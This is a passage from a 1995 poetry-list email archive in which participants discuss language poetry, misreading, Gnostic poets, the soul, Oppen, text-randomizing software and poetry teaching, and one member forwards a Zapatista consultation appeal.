Enlightenment wouldn't have it and the Romantics could only be
nostalgic for it.

Among other questions I'd ask: Aren't there any Gnostics left in poetry or did they all die with the Beat movement?

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332. Marisa A Januzzi
innocence and language
Sun 16 Jul 1995

To bring the twin trains head-on: after reading a lot of surrealist poetry and then Lyn Hejnian (whose work SLEEPS Rachel Blau DuPlessis called 'dreamlike without being surreal') I got convinced that the "ghost in the machine" of language poetry was the female misreader in western tradition, materialized in a sort of nondominance game played with(in) characters of language itself-- the literalizing female misreader, somehow caught poetically in the act (the way you can see a person backspacing over typos in a spilt-screen conversation)

Like Francesca of Paolo fame... which reminds me of the article that started all this, Susan Noakes' "On the Superficiality of Women"

Just a thought (does anyone know who this Gaspara Stampa was, that Rilke rites about in the DUINO ELEGIES?)

"Love and love"
Marisa

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333. cris cheek
Chiapas
Sun 16 Jul 1995

---------- Forwarded message ----------
Date: Tue, 11 Jul 1995 15:16:14 -0600
From: juan manuel gomez gonzalez <[redacted]>
To: Multiple recipients of list <[redacted]>
Subject: EZLN: CONSULTA INTERNACIONAL

July 3, 1995
Mexico D.F.

To all artist of the world
To all scientist and intellectuals
To international public opinion

In Mexico power is hardening and the presence of military intelligence begins to be felt in civil meetings and in governmental decisions.

Before having to ask for help to alleviate the disaster we want to prevent it. The consultation that the Zapatista Army of National Liberation (EZLN) delivers to us today is a wake-up call that can radically change the destiny for Mexicans and probably for the entire world.

The five questions that Zapatistas ask, oviously refer to their needs, resulting from social, economics and political oppresion of which they have been victims. However in a broader sense they speak to the necessities of all Mexicans, and as they relate to the horrors that the neo-leberal system has wrought, they become an issue of world-wide interest.

We submit for your review the following proposal:

To organiza an intense promotional campaign for the consultation in as many spaces as possible, concert hall, theaters, workshops, seminars, exhibits, video and film screenings, radio and television programs, the press, magazines, interviews, electronic mail and other contemporary media.

In addition you can organize new activities during the month of July to concide with the schedule outlined by the Zapatistas; July for the international and August for the national consultation.

We are proposing that each country organize the consultation in its own way, with us sharing the basic information, but allowing you and your organizations to design the methodology and the plan of action.

We would like for some of you to visit our country and if possible give concerts or public forums; your international profile can help enormously to shape public opinion and to raise money which is in our case very scarce.

Therefore, it would be great to promote the consultation through some Mexicans personality. In fact, trips to varius countries have already been organized by members of the comission of the comission of international linkage, and we hope to count on your support if possible in inviting Mexican artist to perform in your countries for the benefit of this project.

In my case, as part of the international commission and as a musician, I can propose a simple performance, requiring only a piano and a microphone, although I would prefer to travel with an assistent.

We are addressing all of those concerned for democracy, justice and liberty, to all those who in a book, a song or symphony express their commitment to the truth. To those in your classroom, in a conference or in your work who are everyday marking an effort so that the world would be better.

We want Mexico to heve its first elections without manipulation by the authorities, we want to get rid of the impossibility of participating in the construction of a more habitable country.

We trust in your intelligence, talent, and sensibility, we need you.

Fraternally
Guillermo Brisen~o

P.S. If you want more information, please contact Guillermo Brisen~o, tel [redacted] and [redacted] (fax) in Mexico D.F. or the numbers and e-mail addresses that accompany this invitation.

P.P.S. In Mexico, the non-governmental organization Alianza Civica will be in charge of the consultation an the Convencion Nacional Democratica (CND), of which we are a part, will undertake its promotion. The CND is also responsible for both organizing and promoting, with your help, the consultation on an international level.

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334. **Ryan Knighton**
Re: innocence and language
Sun 16 Jul 1995

Marisa writes abt the "misreader being caught in the act" and likens it to split screen conversations typos. I like this idea and found myself in it today thinking abt palimpsest. It strikes me that Marisa is right on with regards to Hejinian. But I would say that, if palimpsest is another term for what is being described, this is also a feature, structural and conceptual, of at least some serial poem forms. Anyone? Thanks, Marisa. I'm off to look at My Life.

↑ Index

335. **Tony Green**
Re: innocence and language
Sun 16 Jul 1995

---

misreadings, Marisa, and curious typos on this list (I do plenty
myself) recently:
tauntology stduents whta teh genuis chnage blundle

↑ Index

336. **Rod Smith**
Re: palimpsets & misreadings
Sun 16 Jul 1995

Seems to me both the "palimpset" and the "misreading" terminology imply something's wrong, or awry. . .

don't know. . .

is this what you mean to imply?. . .

I mean, Lyn's work seems to me thought through. Even the gaps.

--Rod

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337. maria damon
Re: innocence and language
Sun 16 Jul 1995

In message <[redacted]> UB
Poetics discussion group writes:
I got convinced that the "ghost
> in the machine" of language poetry was the female misreader in western
> tradition, materialized in a sort of nondominance game played with(in)
> characters of language itself-- the literalizing female misreader,
> somehow caught poetically in the act (the way you can see a person
> backspacing over typos in a spilt-screen conversation)
>
> "Love and love"
> Marisa

this sounds really cool and smart but i'm not sure i know what you mean by "the ghost in the machine" of language poetry; why a specifically *female* (mis)reader for *langpo* specifically. ah--do you mean that langpo somehow "enacts" or literalizes a process of (an arguably politicized or politicizable) "mis"reading that is traditionally associated with or practiced by women? like stein or jane bowles who sometimes sound as if they got the idiom just a little bit wrong accidentally on purpose, and end up remaking language? this may be why i teach a lot of women language poets (in a number of courses entitled everything from "weird books by women" to "ecriture feminine and women language poets" to "women and the literature of trauma) and hardly any men, though i'm beginning to appreciate the male poets (mostly through live readings). I find it realtively easy to associate language "techniques" and rationales with women's "concerns," though i've thought of that as my problem, a kind of intellectual laziness or self-interested essentialism. I like the way you put it --if i read you right --if i read you wrong could you clarify?--md

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338. Steve Carll
Re: palimpsets & misreadings
Mon 17 Jul 1995

Rod:

> *Seems to me both the "palimpset" and the "misreading" terminology imply something's wrong, or awry. . .*

Oh, I didn't get that impression at all. I think the "mis" in "misreading" is ironic. If I'm not mistaken, that comes from its use in the argument over whether the reader ever really "gets" the author's "intended meaning". Insofar as the language employed by the author is polysemic, "every reading is a misreading" of the author's intent. But these misreadings, because the reader takes *some* meaning from them, become nonetheless tremendously liberating to the reader who stops worrying whether the author intended a certain meaning or not. And the palimpsest is similar--the writer tries to erase previous texts and lay a new one on top, but never fully succeeds; the reader can always see through to the other levels, to varying degrees. Some writers acknowledge these freedoms of the reader and use them as a means of maximizing the joy and freedom of writing, by allowing for the reader's intentionality and/or playing with possible "pretexts"; and I think this is a valid assertion to make about Lyn's work.

Steve

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339. John Geraets
manipulators
Mon 17 Jul 1995

On behalf of a fellow Nagoyan, Bruce Malcolm, I'd like to ask does anyone know of text manipulation software, randomizers, whatever, that may be commercially available (or not, as the case may be).

Scuze the vagueness of the request, but if you know of anything that may be interesting, please let us know.

pp Bruce Malcolm
[redacted]

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340. Michael Boughn
Re: where it comes from
Mon 17 Jul 1995

What do we mean when we say, "Wow, she's got soul," or "Hey, let's take a ride on the soul train?"

Mike
[redacted]

↑ Index

341. Herb Levy
recent future reading
Mon 17 Jul 1995

The Lovely & Talented <eskimo.com>, my internet service provider, had a major hacker problem recently and was down for about two weeks while they cleaned up a few digital messes, searched for (& found a ton of 'em) back doors, installed some new equipment, and called more than 6,000 members to give us all new passwords.

I only bring it up cause I'll be responding to some older threads that might should have died a natural death.

I guess I'll be the first for Kenneth Goldsmith's next compilation of the list's readings.

Beside Steve Shaviro's online classic Doom Patrols that I noted a few weeks ago (& many of the same poetry magazines everyone else mentioned), I've been reading in & at the following:

Various chunks of Ron Silliman's Alphabet - Ron, when you wrote a week or two ago about not revising much in the Alphabet, did you also mean that you don't rearrange the order of sentences?

A very odd collection of poems used as texts for a set of commissioned songs by eleven American composers for voice and piano that will be published (with luck) by the end of the year and recorded for a CD to be released in spring 1996. The only collection I can imagine to include both Nelson Bentley (composition by Thomas Peterson) and Jackson Mac Low (composition by Susan Stenger). The scores are musically as varied as the texts;

Jane Gaines' Contested Culture, a very good legal studies look at the history of copyright/trademark law;

A dreadfully dull book called Copyright's Highway, that doesn't seem to cover what I'm looking for;

Midnight Blue by Nancy Collins, a refreshingly non-turgid (though not as good as Kathryn Bigelow's movie Near Dark) vampire trilogy, the last book seems like it's going to be a little too, uh, nice;

Progress by Barrett Watten - this month's book for the Seattle reading group (looking at Mike Magoolaghan's list, he seems to think he can get by with just reading the (very good) new Aerial on Watten. Now _that_, Mike, would be pretentious);

Samuel Delany's Atlantis: 3 Tales - a mainstream novel, not science fiction. I've been hearing about this for two years from a friend who just published a too-

pricey-for-me limited edition of this, but Wesleyan's got a trade edition that the library already had;

A half dozen mysteries my aunt sent me cause she remembered that my mom used to do so. Unfortunately my aunt's taste in mysteries isn't as close to mine as my mom's was: these seem to all be British vicarage things;

A huge stack of Canadian, British & New Zealand poetry books picked up at BlaserCon that doesn't seem to be getting any smaller;

& tomorrow I pick up 4 books the library is holding for me, 3 suggested in some way or another by folks on <poetics>

Paul Mann's Theory Death of the Avant Garde
Alan Golding's From Outlaw to Classic
George Landow's Hyper/Text/Theory
plus Edward Strickland's Minimalism

Herb Levy
[redacted]

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342. **Herb Levy**
Re: manipulators
Mon 17 Jul 1995

> *On behalf of a fellow Nagoyan, Bruce Malcolm, I'd like to ask does anyone know of text manipulation software, randomizers, whatever, that may be commercially available (or not, as the case may be).*
>
> *Scuze the vagueness of the request, but if you know of anything that may be interesting, please let us know.*

There's a very simple randomizing hypercard stack (therefore Macintosh only) called Dada Poet. This has very few user definable parameters, and it is quite random, not useful if you're interested in maintaining a semblance of grammar or syntax, but it is capable of some interesting bucket-brigade effects, in addition to general randomizing.

Travesty is available for IBM-compatibles. I haven't used this but based on the book Sentences, recently published by Sun & Moon (don't forget to look for those blue M&Ms!), it seems to do some interesting things.

If Bruce Malcolm is interested in doing some syntactic programming-level work, there's a very powerful, and funny, program called Kant Generator Pro that is

set up to write large chunks of Kantian prose. The program also has modules for Husserlian prose, excuses, thank-you notes and several mathematical modules useful for programming in Pascal. It's possible to modify any of these modules to do other kinds of random generation within a generalized syntactic structure from list of vocabulary and/or phrases, but, as I said above, this takes some work. Kant Generator Pro is a GNU program, I have it for Mac, but I think it's available for other computer platforms, too.

These are also several different anagram programs around, but that may be more text manipulation than you're looking for.

I don't have addresses for these programs readily at hand, but all of them should be available on the Internet with archy, gopher, or some other search program.

I've heard of several other programs that I haven't seen in action. I'd be interested in any other such programs people know of.

Herb Levy
[redacted]

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343. **Herb Levy**
Re: Exercise(s)
Mon 17 Jul 1995

Tony Green asked, in the context of the discussion about rules v looser practice:

> *are Chopin Studies "exercises"? or J.S.Bach Inventions or B Bartok Mikrokosmos?*

These are finished compositions, but they also serve as exercises for performers who, by playing these compositions get practice in some particular technique, fingering, rhythmic patterns, articulation, etc.

A related kind of poem-as-etude might be text-sound pieces which, if performed by people other than the originating writer, give the performer the opportunity to stretch their vocal "chops" in ways they haven't previously.

A less directly related kind of "etude" might be any poems which are so unlike one's own thinking that to read them is to "exercise" one's intellect.

That said, I think that because poems are rarely performed by readers other than the poet who wrote them (except of course in those enlightened classrooms people have been detailing in other threads), there are very few poems that serve the same kind of function as musical "etudes" do.

Herb Levy
[redacted]

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344. Herb Levy
Re: Brathwaite tapes,
Mon 17 Jul 1995

Lately I've been thinking a lot, and writing a little, about composers who digitally sample sounds made by others to make new pieces (John Oswald; Carl Stone; Bob Ostertag; Stock, Hausen & Walkman; David Shea; etc), so maybe I'm particularly conscious of intellectual property issues right now.

Still it was surprising to see that several people had no qualms about offering to dub tapes of Brathwaite readings, including a tape that is a commercial product. Especially given the infrequent but common qualms people have about posting the text of other writer's poems on <poetics>.

Now I'm not a prude about this-I've dubbed and photocopied plenty of things for myself and others. But I dont' recall anyone saying they'd send a xerox when people posted to the list asking about the availability of a particular book or poem.

Did this seem odd to anyone else?

In any event, I think those LP recordings of Brathwaite's were of him reading The Arrivants, not Middle Passage, which is too recent a book to be released on vinyl by any semi-conscious company.

Though George Bowering will be glad to note that albums by megapop stars like Hole are often pressed on vinyl for the collector's market.

Herb Levy
[redacted]

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345. David Kellogg
Re: doing the one-two writing/teaching
Mon 17 Jul 1995

On Fri, 14 Jul 1995, Carl Lynden Peters wrote:

> *Here's a twist on the subject: Should students be required to compose poetry in a poetry course (I don't mean in a poetry-writing course)?*
>
> *--yes, and it should go without saying. i don't think you can teach art if you can't make art*

You're kidding, right? They *should* be *required*?
Just like that? All students? Every class?

Every unqualified "should" and its unqualified
affirmation gets me to thinking: What is gained
and lost in this kind of conversation?

Obviously one thing that's lost is any concept of a
non-pedagogical possibility for poetry. Who said the
students in the class were going to be teachers?
Carl's response, not to put too fine a point on it,
constructs a seemingly inevitable linear development
from student to teacher. Just because many on this list,
including me, have moved in such a direction doesn't mean
that others might take a poetry course for a hundred other
reasons, just as valid. And just because somebody decides
that *they* "should" teach poetry writing in a poetry
reading course doesn't mean that others "should" follow.

I'm not saying they shouldn't. I have gone both ways,
depending on the occasion, and found benefits in
several different class-constructions.

Not all of us teach poetry as "art," either.

Apologies for the tendentiousness of this post.

Cheers,
David
~~~
~~~

excellent piece on the subject by J H Pyrnne, a lecture published by Birkbeck College, University of London:

J H Prynne: Stars, Tigers and the Shape of Words, London: Birkbeck College, 1993

You used to be able to get it direct from Birkbeck for about GBP 6.00. Perhaps someone else on the list remembers the details.

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347. David Kellogg
Re: Whorf (vs. Pinker)
Mon 17 Jul 1995

On Sun, 16 Jul 1995, George Bowering wrote:

> I have not read Pinker's attack on Whorf, but I have read others'.
> (Funny, I was just reccomending Sapir to my brother, who wants to
> start reading on language.) Here is what usually happens: the regular
^^^^^^^

> social scientists just hate a social scientist who (1) thinks with
^^^^^^^^^^^^^^^^^^

> some creativity and beauty, and (2) gets popular with lay people.

Have read Pinker, will comment soon, but just to say: Pinker's not a social scientist, strictly speaking, but a cognitive neuroscientist. He's very close to a biologist, in fact. So he doesn't just hate popular social scientists: if you read the last chapter of his book, you'll see he hates them ALL!

Cheers,
David
~~~
~~~

348. Carl Lynden Peters
Re: doing the one-two writing/teaching
Mon 17 Jul 1995

>
> On Fri, 14 Jul 1995, Carl Lynden Peters wrote:
>
> > > Here's a twist on the subject: Should students be required to compose
> > > poetry in a poetry course (I don't mean in a poetry-writing course)?
> > >
> > --yes, and it should go without saying. i don't think you can teach art
> > if you can't make art
>
> You're kidding, right? They *should* be *required*?
> Just like that? All students? Every class?
>
david,

yes, i am serious. what i'm aiming at in my statement is the notion of the poem as a way of knowing. several initial questions immediately come to mind: --how could one _teach_ that? --how does one _demonstrate_ that? my current studies are such that these questions are of immense interest to me. i don't see this approach (and it's one of many approaches) as linear, either

take care,
carl

↑ Index

349. Rae Armantrout
Re: doing the one-two writing...
Mon 17 Jul 1995

Dear Tony,

You ask if there are any Gnostics left in poetry (since the beats). I would suggest Fanny Howe.

Rae

↑ Index

350. **Gale Nelson**
(no subject)
Mon 17 Jul 1995

I was reading from "Meaning Is to Be Here," A Selction from the Daybook of George Oppen (edited by Cynthia Anderson, Conjunctions 10) to a group of writers in a summer program here in Providence, and found a few fragments that seemed relevant to discussions here:

I will have to say what I can without the magnificent King's x. No disclosures, of course, that I can make, but just to say truthfully what it is to live. And see: or begin. Because someday -- everyone will be terrified. They have so far managed to find militant atheism or disguised atheism as comforting as militant religion or disguised religion. It won't last much longer. The physical scientists are giving no one any peace. The philosophers are strangely exhilarated to be proving rigorously that their statements don't mean anything or have no importance. Won't last long. Raises a question of survival. We must somehow get hold of what we know and what we can't know, and begin, to live with it. Not an abstract, nor even a private matter. Most of our laws are theocratic: our punishments assume an absolute moral judgment. The death penalty could not exist today without the habit of speaking of a transcendental morality. Our judgments and our punishments are theocratic. They will collapse. We had better start talking. We must wean ourselves from narrative, which is everyone's art form, because everyone really knows -- it is the most obvious of facts -- that every life ends badly. Very badly. Not only death, but loneliness, desertions *irreparable* physical injury. Every ship sinks. All the calamities the hero escapes he does not escape. We had better talk. Even tho we are afraid of being overheard by the children. Or someday we will die of despair when we overhear the children. We haven't begun to talk, or we have talked nonsense. A simple poetic undertaking: to see if life is livable, to make life livable. Without lying. Not that I wouldn't be glad to: people are becoming too discerning. We are consciously lying to each other by now. But I mean to become part of a discussion among honest people.

(p. 189)

An epigrammatic post-script:

'Form is never more than an extension of content'
It had better not be an *extension! perhaps a compression*
Form is
what makes the poem *graspable*

Sincerity is the attention outward.
Objectification is creation
obviously enough.

to write at the moving edge is both of these, or perhaps
more than these
the infinite

(p. 199)

i do not hear the rhythm as the poem forms -- the beginning, the speed of the poem -- rather it is a shape, in fact a silence The shape silently forms as if 'above' me -- the effort of the writing, the finding of the cadence is the care not to shatter this presence -- tho often it must be shattered and only then restored

(p. 200)

Cheers,

Gale Nelson

↑ Index

351. David Kellogg
Re: doing the one-two writing/teaching
Mon 17 Jul 1995

On Mon, 17 Jul 1995, Carl Lynden Peters wrote:

> *yes, i am serious. what i'm aiming at in my statement is the notion of the poem as a way of knowing. several initial questions immediately come to mind: --how could one _teach_ that? --how does one _demonstrate_ that? my current studies are such that these questions are of immense interest to me. i don't see this approach (and it's one of many approaches) as linear, either*

Glad to hear it. It just seemed to me that the discussion was in danger of turning into a seminar on what a poetry class should be; I didn't detect the pluralism demonstrated above in the earlier post.

Cheers,
David
~~~
~~~

↑ Index

352. Shaunanne Tangney
Re: where it comes from
Mon 17 Jul 1995

On Mon, 17 Jul 1995, Michael Boughn wrote:

> What do we mean when we say, "Wow, she's got soul," or "Hey, let's
> take a ride on the soul train?"
>
> Mike
> [redacted]
>

[appologies to Ira who's heard this already--]

I had read in Cixous recently that she locates the soul at the body. Which I thought was groovy, but was still thinking on how this is. I mean to say that I liked the idea that the body was the locus of the soul, but what did this mean. Then on Saturday I was listening to a program on NPR about vocalese--how do you spell that?--which is when the singer tries to make his/her voice behave as closely as possible to the way a musical instrument behaves--and I thought, THAT'S IT!! That is writing the body (cf Cixous)-- makingthe language behave as closely as possible to the way the body behaves-- and that is how/why the body as the location of the soul works for me.

If we make the soul of the same behaviors of the body--labor, sweat, sex, touch (to communicate is also to touch, remember)--we can deal with it. If soul, or consciousness--and I think they are awfully the same--are always absent--and absence--always off, away from us in the ether somewhere--how can we know them, or even experience them, and most especially articulate them? But if the body is the soul--it does become present--and a presence--we can know it, experience it, share it--WRITE IT.

Soul is important--it is what writing has been about and after as long as their has been writing. But I think, I really do, that if we allow the body to be the soul, that writing becomes a lot more successful, more COMMUNICATIVE. . .

Best,
ShaunAnne

↑ Index

353. Lindz Williamson
Re: Filet O Soul
Mon 17 Jul 1995

On the origins of poems topic I used the word soul and I'm really impressed with the continuing debate. Howxever I still must say the soul is my center of inspiration.

It has nothing to do with organized religion or or celestial sensations. It's the part of me that exist beyond the buzzing of my neurons and the pumping of my blood. It is that which translates chemical reActions and elctric stimlations of living into the thought I pour on to the page. The mind and the body are extingiushable, but not the soul. The mind and body are needed in order to function in life, but a soul is needed in death. I'm not sure if poetry is really needed any where, but it does prove to be a nice fringe benefit. The fact that creativity is not a necessity in the basics of life (food, shelter) but is such an integeral part of my own being comforts me. It is an unexplain element in my life that I must feed and satisfy, therefore I will nurture it and label it my soul because I can only hope it will serve a greater purpose later in my life/ or in my death.

Lindz

↑ Index

354. Ryan Knighton
Re: gnostics
Mon 17 Jul 1995

Correct me if I'm wrong, but wasnt there a piece written about Spicer and Gnosticism? And, for a wonderful take on Gnosticism, and everything else under this sun, I suppose, try Phil K. Dick's _Valis_. Something about SF (San Fran and Sci Fi) and Gnosticism?

↑ Index

355. Steven Howard Shoemaker
Oppen/Heidegger/Wittgenstein
Mon 17 Jul 1995

Marjorie Perloff writes:

"On Oppen/Wittgenstein/Heidegger: I worked on this while writing my Wittgenstein book and it's complicated because although Oppen thinks he's more like Heidegger, his use of language is often much closer to Wittgenstein's treatment of ordinary language. But not as close as, say, Creeley is. Still, "Of

Being Numerous," for example, is a rather Wittgensteinian poem as Burt Hatlen pointed out some time ago. Or at least Witt. can help one read Oppen.

Marjorie Perloff"

Dear Marjorie:

What Hatlen piece are you thinking of? I'd like to read it--right now, Oppen seems to me so saturated with Heideggerian assumptions that i have a hard time seeing the Witt. connection, but i *am* curious.

steve

↑ Index

356. Willa Jarnagin
Recording of Spicer reading Language?
Mon 17 Jul 1995

Does anyone know if there is a recording of Jack Spicer reading from Language? I and a friend of mine are dying to hear it, if there is one.

Thanks,
Willa

↑ Index

357. Steven Howard Shoemaker
accidental poetics
Mon 17 Jul 1995

I was just in a fairly minor car accident the other day--i.e. i'm more or less fine, tho' the car wuz "totalled." Anyway, the rental i'm driving has a sticker reading "Berglund," presumably the name of the car dealer, on its rear, and the osteopath i wuz sent to is nambed Gelburd. I can't get the fact that these are nearly perfect anagrams out of my head. This partly has to do with the way memory works i guess--i keep misremembering the doctor's name, and so have continually to rehearse the differance. But also has to do i suppose with the/my tendency/compulision to read everything, even a car accident as a linguistic event.

Does this sort of thing happen to "you" too?

And btw, has anyone seen The Postman (Italian flick about Neruda in Italian exile and his relationship with the titular mailman, or to be less poetcentric, it's about the mailman's relation to Neruda). Pretty romanticized i guess, but i was rather touched to see some sort of film treatment of what it means "to be a poet," and of the social fact of being-a-poet as well (not just the tortures of the Divine and Solitary Afflatus, like a bad case of gastroindigestion etc etc

(and even my mailman/poet centricity qualifications above are inadequate, 'cause the mailman does turn out to be a sort of poet too...

↑ Index

358. **Willa Jarnagin**
Niedecker/Loy/George
Mon 17 Jul 1995

On Sun, 16 Jul 1995, George Bowering wrote:

> I am having a hard time understanding Ira Lightman's response to my
> mentioning of Mina Loy. I would never attack anyone's love of
> Niedecker. I have loved her work for 30 years. I didnt say that she
> reminds me of Loy. I never introduced the context of gender. All I
> said was that Loy was really good at employing the space around
> words, and that one who reads Niedecker might have a look at that
> too. Lightman also put quotation marks around the words he attributed
> to me. I dont get the point of that at all.
>
As the "list lurker" who loves Niedecker and was supposedly "attacked," I just have to say, George, I interpreted your comment just as you meant it. I was glad you responded to my admiration of Niedecker and suggested another poet whose work I might like as well.
--Willa

↑ Index

359. **Jordan Davis.**
Re: gnostics
Mon 17 Jul 1995

Not quite sure what we mean by gnosticism here (was Dickinson a gnostic? was Harold Bloom?) but I _had_ heard a rumor that Leonard Schwartz & Joe Donahue were editing an anthology of contemporary gnostic poetry...

↑ Index

360. **Ryan Knighton**
Re: Recording of Spicer reading Language?
Mon 17 Jul 1995

When I was researching Spicer for George I didn't come across one (a reading of Language, that is. And that was my central focus). The Contemporary Lit. Collection here at Simon Fraser actually had one or two readings, I think,

besides the Vancouver Lectures. I think Charles Watts is on the list still. He knows best. Charles?

↑ Index

361. **maria damon**
Re: gnostics
Mon 17 Jul 1995

In message <[redacted]> UB Poetics discussion group
writes:
> Correct me if I'm wrong, but wasnt there a piece written about
> Spicer and Gnosticism? And, for a wonderful take on Gnosticism,
> and everything else under this sun, I suppose, try Phil K. Dick's
> _Valis_. Something about SF (San Fran and Sci Fi) and Gnosticism?

yes, i'd in fact suggest the berkeley renaissance crowd, of which Dick was an fringe member. I've heard blaser, duncan and spicer referred to as "gnostic platonists," whatever that means. md

↑ Index

362. **cris cheek**
Gnostic Poets
Mon 17 Jul 1995

Supporting Rae's suggestion of Fanny Howe.
Adding an English poet and performance / installation artist Brian Catling.
And the poet David Miller.

love and love
cris

↑ Index

363. **cris cheek**
Randomising Text Generation
Mon 17 Jul 1995

---

from Treknobabble:

To amplify the resonant efficiency would not be logical, because the theta tube would then create the holographic incursion.

It's just possible that the trans-warp conduit would decelerate the binary wave, but only if we enhance the gravitational carrier and stabilize the artificial particle!

It's just possible that the adaptive micro-replication would decelerate the temporal multiplex, but only if we analyze the anti graviton and shatter the replicative magnetic!

If we can redirect the cytherian entity, we might be able to inhibit the proto tunnel and decode the metagenic plasma!

To create the alignment grid would not be logical, because the replicative thrust would then resonate the magnetic transporter.

Captain, I canna encrypt the cloud because the artificial warp is about to enhance the cloaked carrier!

To destabilize the interstellar alignment would not be logical, because the molecular pattern would then decode the localized echo.

It's just possible that the containment hologram would stabilize the static flux, but only if we decay the non-linear signature and amplify the servo-mechanical shield!

↑ Index

364. **Tony Green**
Re: manipulators
Mon 17 Jul 1995

Jackson Mac Low would know I guess, perhaps a New York lister cd find out?

↑ Index

365. **Tony Green**
Re: doing the one-two writing/teaching
Mon 17 Jul 1995

Carl, wouldn't it get in the way, not knowing what the instruction means: write a poem. Write a what? what counts as a poem? finding that out is something between teacher and student. Do you get faced with: I cannot do this exercise, because you have provided insufficient protocols for me to begin. (I got this last year from disgruntled students who had, with some additional specifications, been asked to write an introduction to an imaginary exhibition. How much worse with a "poem". What models for poem do you 1 offer, 2 propose,3 advise, 4 leave blank?)

↑ Index

366. Edward Foster
Re: doing the one-two writing/teaching
Mon 17 Jul 1995

---

no, george, it means simply, for one thing, that no two people read a book the same way, or, elegantly, from emerson: "it depends on the mood of the man, whether he shall see the sunset or the fine poem." - "we see only what we animate."

↑ Index

367. Burt Kimmelman
Re: innocence and language
Mon 17 Jul 1995

Marisa,

Just read a beautiful piece by Noakes on Dante. Who is she? What else has she written? Where can I find "On the Superficiality of Women"?

Burt

↑ Index

368. Herb Levy
reading list
Mon 17 Jul 1995

Now that I've seen what it is, I want to thank Kenneth Goldsmith for, apparently, tracking all of the books referred to on <poetics>, not just people's summer/bedside reading lists. This should not be a thankless task.

After getting nearly three weeks of mail at once, I've ended up nuking lots of posts (none of the really important, and interesting, ones by you who is reading this now, of course-just those other messages) before really reading them & found (oops) I'd lost a few book references I'd wanted to keep in this way. Many of them were still around 'cause I'd saved Kenneth's Reading List post(s).

(Just what I need, a list of more books I haven't read yet or want to re-read.) But really, thanks, Kenneth.

Herb Levy
[redacted]

↑ Index

369. **Robert Drake**
Re: manipulators
Mon 17 Jul 1995

> *On behalf of a fellow Nagoyan, Bruce Malcolm, I'd like to ask does anyone know of text manipulation software, randomizers, whatever, that may be commercially available (or not, as the case may be).*
>
> *Scuze the vagueness of the request, but if you know of anything that may be interesting, please let us know.*

also for Mac, a program called "TextMangle" (an implementation of Travesty? i think), and one called "Deconstructor". if you can't find these on the net, contact me backchannel...

luigi
[redacted]

↑ Index

370. **Chris Stroffolino**
Re: gnostics
Mon 17 Jul 1995

---

someone said that duncan blaser and spicer are "gnostic platonists" though this may be true of duncan, spicer was more "skeptical" or at least less "platonic"--to lump the three together obscures the debates and passionate arguments between them (with robin often getting caught in the middle, both philosophically and emotionally--not mere bio ad hominen) that had much to do with making the scene so vital...cs

↑ Index

371. **maria damon**
Re: innocence and language
Mon 17 Jul 1995

In message <[redacted]> UB Poetics discussion group
writes:
> Marisa,
>
> Just read a beautiful piece by Noakes on Dante. Who is she? What else
> has she written? Where can I find "On the Superficiality of Women"?

>
> Burt

i'm maria not marisa, but i know who susan noakes is cuz until just a year ago she was dean of faculty in my division of this huge state university. she's a french scholar/medievalist feminist, and she's really nice, she was really helpful in my tenure process and sympathetic to the incredible tsoris i encountered at the hands of my incompetent and unethical departmental superiors. now she's part time at U North Carolina and part time here, at Minnesota, in each univ's respective french dept. i'm sure she;d be tickled to know her work was being read/lauded on the poetics list. she also has an essay in the jonathan boyarin collection i mentioned a few months ago, from UMN press, on the anthropology of reading (can't remember the main title, book's in office, i;m at home). is that the article you mean, marisa? (i must confess i've not read the boyarin book, except for his own essay, and i've not read my colleague s noakes's work either).--md

↑ Index

372. Loss Glazier
Gloucester
Mon 17 Jul 1995

Is anyone on this list near/in Gloucester or familiar with it? I am interested in some advice/tourist/practical information. If so, could you mail me "backchannel"?

I appreciate it,
Loss
[redacted]

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373. maria damon
Re: gnostics
Mon 17 Jul 1995

In message <[redacted]> UB Poetics discussion group
writes:
> someone said that duncan blaser and spicer are "gnostic platonists"
> though this may be true of duncan, spicer was more "skeptical" or at
> least less "platonic"--to lump the three together obscures the debates
> and passionate arguments between them (with robin often getting caught
> in the middle, both philosophically and emotionally--not mere bio
> ad hominen) that had much to do with making the scene so vital...cs

yes of course. the person (who will remain nameless) who said this was someone i didn't think was the brightest light on the block...but since it was, i think, the last time (1987 or so) i heard of gnosticism as a category for postwar american poetry i thought i'd pass it on.--md

↑ Index

374. **maria damon**
Re: Filet O Soul
Mon 17 Jul 1995

In message <[redacted]> UB
Poetics discussion group writes:
> On the origins of poems topic I used the word soul and I'm really
> impressed with the continuing debate. Howxever I still must say the soul
> is my center of inspiration.
>
> It has nothing to do with organized religion or or celestial sensations.
> It's the part of me that exist beyond the buzzing of my neurons and the
> pumping of my blood. It is that which translates chemical reActions and
> elctric stimlations of living into the thought I pour on to the page.
> The mind and the body are extingiushable, but not the soul. The mind and
> body are needed in order to function in life, but a soul is needed in
> death.
> I'm not sure if poetry is really needed any where, but it does prove
> to
> be a nice fringe benefit. The fact that creativity is not a necessity in
> the basics of life (food, shelter) but is such an integeral part of my
> own being comforts me. It is an unexplain element in my life that I must
> feed and satisfy, therefore I will nurture it and label it my soul
> because I can only hope it will serve a greater purpose later in my life/ or
> in my death.
>
>
> Lindz

does this, perhaps, have anything to do with deleuze's hypothesis that the self is an unstable, shimmering boundary between two becomings? what wd happen if the word "soul" was used here? also, brian, the only thing that comes to mind in your very interesting query is some big deal (though physically "slim") book about freud that came out in the 80s, excerpted in the New Yorker, by some big deal guy, maybe Bruno Bettelheim? could that be? claiming that the word freud used for ...was it consciousness? mind? self? you can see these secondhand references make a deep impression ...could actually be profitably, and faithfully

(no pun intended) translated and/or understood as "soul." i don't know if that rescues the word from mysticism or conversely imputes a mystical bent to freud, but there you have it. maybe this is as flaky an idea as "gnostic platonism."--md

↑ Index

375. **Loss Glazier**
Re: innocence and language
Mon 17 Jul 1995

> *was being read/lauded on the poetics list. she also has an essay in the jonathan boyarin collection i mentioned a few months ago, from UMN press, on the anthropology of reading (can't remember the main title, book's in office, i;m at home)*

Maria, is that _The Ethnography of reading_?

↑ Index

376. **Lindz Williamson**
Re: where it comes from
Tue 18 Jul 1995

Shaunne wrote:

Soul is important--it is what writing has been about and after as long as their has been writing. But I think, I really do, that if we allow the body to be the soul, that writing becomes a lot more successful, more COMMUNICATIVE. . .

Yes, yes , yes I agree, love Lindz

↑ Index

377. **Lindz Williamson**
Re: Filet O Soul
Tue 18 Jul 1995

SOUL

O who shall from this dungeon raise
A soul inslav'd so many ways?
With bolts of bones; that fetter'd stands
In feet; and manacled hands;
here bkinded with an eye; and there
Deaf with the drumming of an ear;
A soul hung up, as twere, in chains
Of nerves and arteries and viens;

Tortur'd, besides each other part,
